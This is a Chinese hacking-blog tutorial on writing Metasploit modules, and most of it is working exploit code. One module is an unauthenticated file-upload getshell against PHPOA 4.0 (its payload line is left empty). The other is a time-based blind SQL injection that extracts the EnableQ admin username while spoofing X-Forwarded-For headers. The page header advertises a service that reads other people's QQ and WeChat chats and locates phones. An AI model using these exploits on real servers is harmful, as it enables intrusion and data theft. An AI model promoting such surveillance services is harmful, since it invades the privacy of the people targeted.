• 设为首页

    加入收藏

    网站地图

    在此推荐 有一位高手QQ:华夏黑客联盟我的QQ被盗了就是他们帮忙找回的 希望能帮助大家 他们专业查QQ聊天记录,微信聊天记录,恢复删除的聊天记录,手机通话记录,手机短信,手机定位找人等。

      Metasploit是款渗透神器,尤其是在拿到会话后撸内网那感觉更是爽上天。
      在平常的渗透测试过程中,多是通过撸掉web拿到shell进入内网,所以在拿到shell后往往就会想办法获取个metasploit的会话,方便后面往下撸。对于那些通用CMS的漏洞,拿shell到获取会话的过程可以通过编写模块来搞定,提高效率,避免重复工作,同时也可以通过提交模块到长矛获得一些收入。
      如标题所写,本文主要介绍web渗透相关模块的开发,二进制玩不来,等学会了再来和大家分享。
      前言:
      Web中漏洞类型那么多,有些十分适合拿来写exploit模块,像文件上传、命令执、代码执行这种,很容易就拿到shell获取会话。相比那些比较鸡肋的洞,难以对服务器直接造成威胁,缺乏适用性或本身价值就不大,比如同样是sql注入,有的服务器权限没做好能拿shell,但是在没有丁点写权限的情况下也只能来搞出来点数据而已;还有文件包含之类的洞,受太多环境变量影响;XSS、CSRF、SSRF这些就更不用说了,还有权限没做好导致信息泄漏之类的洞;就只能拿来写辅助模块(auxiliary)
      准备:
      码代码前先把工具准备好。
      metasploit框架推荐从git上下载,kali里带的那个版本比较低,低版本框架中module用的类名称是Metasploit3,而新框架中已经改名成MetasploitModule,继续使用的话会产生警告;同时新框架下的payload也有改变,以cmd/unix/reverse_netcat为例,在新框架下更名成了cmd/unix/reverse_netcat_ gaping;新框架下payload支持使用代理,通过代理可以很方便的调试,这也是推荐使用新框架的重要原因。Metasploit支持通过-m 参数加载指定路径的模块,所以可以通过命令mkdir –p ~/module/{auxiliary, exploits}/
      先在家目录下创建文件夹,然后通过msfconsole –m ~/module/ 加载目录下的模块,编辑模块后在msf控制台通过reload命令重新载入,方便调试代码,不过据我测试,reload命令只对exploits目录下的模块有效。。。
      一款顺手的代理工具,拿来调试插件。我倾向用burpsuit,其他的也可以,只要能得到框架发出的数据包就行(刚开始写插件的时候太年轻,直接上wireshark看数据的。。。)。
      开整:
      首先是exploit模块的编写,以phpoa4.0任意文件上传导致getshell漏洞为例,乌云漏洞编号为wooyun-2016-0182666,通过漏洞说明和证明很容易理解漏洞,利用方式简单粗暴,直接构造表单上传。所以我们的模块就是要上传个带有payload的php文件,然后访问这个php文件,获得metasploit会话。看代码:
      #引入msf的核心框架代码
      require 'msf/core'
      #声明新的类,继承自Msf::Exploit::Remote
      class MetasploitModule
      #制定该模块的易用性,就是给自己评RANK
        Rank = ExcellentRanking
      #引入要用到的模块,和python中的import功能一样
        include Msf::Exploit::Remote::HttpClient
      #初始化函数
        def initialize(info = {})
          super(update_info(info,
                            'Name' => '  PHPOAV4.0任意文件上传',
                            'Description' => %q{
                                  upload/index.php 无需登录等认证即可上传任意文件,商业授权版,企业应用版,政务版,集团版通杀
                                       },
                            'Author' =>
                                [
                                    '3xpl0it',#漏洞作者
                                    '扶摇直上打飞机'#插件作者
                                ],
                            'License' => MSF_LICENSE,
                            'References' =>
                                [
                                    ['url', 'http://www.myhack58.com/bugs/-2016-0182666']
                                ],

      'Privileged' => true,
      #指定目标平台类型
                            'Platform' => ['php'],
                            'Targets' => [['all of them', {}],],
      #指定目标框架架构
                            'Arch' => ARCH_PHP,
                            'DefaultTarget' => 0,
                ))
      #注册参数
          register_options(
              [
                  Opt::RHOST(),
                  Opt::RPORT(80),
                  OptString.new('TARGETURI', [true, 'The URI of the Centreon Application', '/']),
              ], self.class)
        end
      #定义上传函数
        def upload
      #定义个全局文件名变量,一个随机的文件名
          @fname = "#{rand_text_alphanumeric(rand(10)+6)}.php"
      #生成要上传的payload
          php = ""
      #实例化MIME消息体
          data = Rex::MIME::Message.new
          data.add_part(php, 'image/jpeg', nil, "form-data; name=\"files\"; filename=\"#{@fname}\"")
          post_data = data.to_s
          print_status("Uploading #{@fname} payload...")
      #上传文件
          res = send_request_cgi({
                                     'method' => 'POST',
                                     'uri' => normalize_uri(target_uri.path, 'upload', 'index.php'),
                                     'ctype' => "multipart/form-data; boundary=#{data.bound}",
                                     'data' => post_data,
                                 })
      #验证上传及访问上传文件获得会话
          if res.code.to_s == '200'
            json = JSON.parse(res.body)
            tempfile = json['files'][0]['url']
            shellpath = normalize_uri(target_uri.path, 'upload', tempfile)
            print_good("Shell address:#{shellpath}")
            print_status("Executing the payload...")
            send_request_cgi(
                {
                    'uri' => shellpath,
                    'method' => 'GET'
                }, 5)
            print_good("Executed payload")
          else
            fail_with(Failure::Unknown, "#{rhost} cant get crumb value ")
          end
        end
        def exploit
          upload
        end
        def rhost
          datastore['RHOST']
        end
        def rport
          datastore['RPORT']
        end
        def targeturi
          datastore['TARGETURI']
        end
      end
      initialize就是初始化函数,里面定义插件的基本信息,名称、描述、作者等,其中Platform指定插件适用的平台,Arch指定插件适用的框架,两者决定了payload的类型,在本例中platform我选择的是php,arch选择的是ARCH_PHP,所以供我选择的payload有

      对于.net应用可以选择platform为win,arch为arch_x86。更多关于platform和arch的填写可以参考这里http://doc.metascan.cn/,也可以参考现有插件。
      register_options是注册exp参数用的,有时可能先有参数选择不够用的,就需要自己来定义个,有时也会为了方便利用而设置个默认值,也是在这里注册,比如有个应用是用https协议的,而且端口不是80,所以为了方便,在这里就会设置两个默认参数:

      Opt::RPORT(443),
       OptBool.new('SSL', [true, 'Negotiate SSL/TLS for outgoing connections', true]),
      这里就是指定默认使用HTTPS协议,端口443.
      所有的payload都在modules/payloads目录下,都是ruby文件,这里以php/reverse_php 为例,文件路径为modules/payloads/singles/php/reverse_php.rb,详细代码诸位可自行去看看,这里就不浪费篇幅了,其中在初始化函数initialize中也定义了payload适用的platform和arch,亦可由此判断payload适用场景。
      本例是一个任意文件上传漏洞的利用,发送请求是用的send_request_cgi函数,其中需要注意的地方为ctype的设置,ctype设置HTTP请求中的Content-Type,send_request_cgi函数的默认Content-Type是application/x-www-form-urlencoded,是最常见的POST提交数据的方式。也是浏览器的原生form表单,即在不设置 enctype 属性的情况下,那么最终就会以 application/x-www-form-urlencoded 方式提交数据。
      当需要上传文件到服务器时,enctyped的值就需要设置为multipart/form-data,在本例中即是如此。在请求体中为了区分不同的片段需要设置boundary,要传输的消息体每部分都是以 –boundary 开始,紧接着内容描述信息,然后是回车,最后是字段具体内容(文本或二进制),如果传输的是文件,还要包含文件名和文件类型信息。消息主体最后以 –boundary– 标示结束

      如下图所示

      此外enctype的类型还有text/xml,application/json在post请求中,因为要上传文件,所以首先REX::MIME::Message.new实例化一个对象,然后利用add_part函数填充内容(函数的定义在lib/rex/mime/message.rb中,有兴趣的可以去看下),最后将该对象转为字符串格式用以发送。
      待payload上传成功,访问触发就可获得会话。
      测试:

      成功获取会话,中间配置代理查看请求过程

      再来一个auxiliary模块
      这是enableq的一个sqli漏洞,乌云漏洞编号为wooyun-2015-0164832,在漏洞分析中已经给出详细的利用过程,所以这个插件写起来也是很简单,直接看关键代码
      67
      def rand_xff
        return "#{rand(1...255)}.#{rand(1...255)}.#{rand(1...255)}.#{rand(1...255)}"
      end
      def get_rand_post
        rand_respone = send_request_raw({
                                            'uri' => normalize_uri(target_uri.path, "enableq", "System", "Login.php"),
                                            'headers' =>
                                                {
                                                    "x-forwarded-for" => "#{rand_xff}"
                                                }
                                        })
        if rand_respone and rand_respone.body =~ /name="crumb" id="crumb" value="(\w+)"/
          crumb = $1
          if rand_respone.headers['Set-Cookie'] =~ /PHPSESSID=(\w+)/
            return crumb, $1
            endset
          else
            fail_with(Failure::Unknown, "#{rhost} cant get crumb value ")
          end
          return Exploit::CheckCode::Safe
        end
      end
      def get_username
        getres = 0
        username = ''
        crumb, session_id = get_rand_post
        print_status("start to exploit....")
      for f in (0..20)
          if getres ==2
            print_good("USERNAMR:#{username}")
            return username
          end
          getres += 1
          for i in [*'0'..'9', *'a'..'z', *'A'..'Z']
            begin
              timeout(3) do
                swapname = username
                swapname = "#{swapname}#{i}"
                hex_swapname = swapname.each_byte.map { |b| b.to_s(16) }.join
                postdata = {
                    'Action' => 'LoginSubmit',
                    'userName' => "test錦' or  administratorsID = 1 and administratorsName like 0x#{hex_swapname}25 and sleep(6)#",
                    'crumb' => "#{crumb}",
                    'remberme' => '0',
                    'userPass' => '8277e0910d750195b448797616e091ad',
                }
                send_request_cgi({
                                     'method' => 'POST',
                                     'uri' => normalize_uri(target_uri.path, "enableq", "System", "Login.php"),
                                     'vars_post' => postdata,
                                     'cookie' => "PHPSESSID=#{session_id}",
                                     'headers' =>
                                         {
                                             "x-forwarded-for" => "#{rand_xff}"
                                         }
                                 })
              end
            rescue TimeoutError
              getres = 0
              username = "#{username}#{i}"
              print_good("#{username}")
              sleep(3)
              break
            end
          end
        end
      end
      漏洞说明中给的exp是用延时注入,所以我这里也就使用延时的方法来。
      这段代码里更多的是ruby使用的问题,理解漏洞后也没啥技巧可谈。。。。
      结尾:
      模块的编写很简单,漏洞搞清楚了,写起来还是很快的,遇到不明白的可以参考别人的,也可以去翻文档看源码。
    • Copyright © 2013-2017 heike180.com微信查询网 版权所有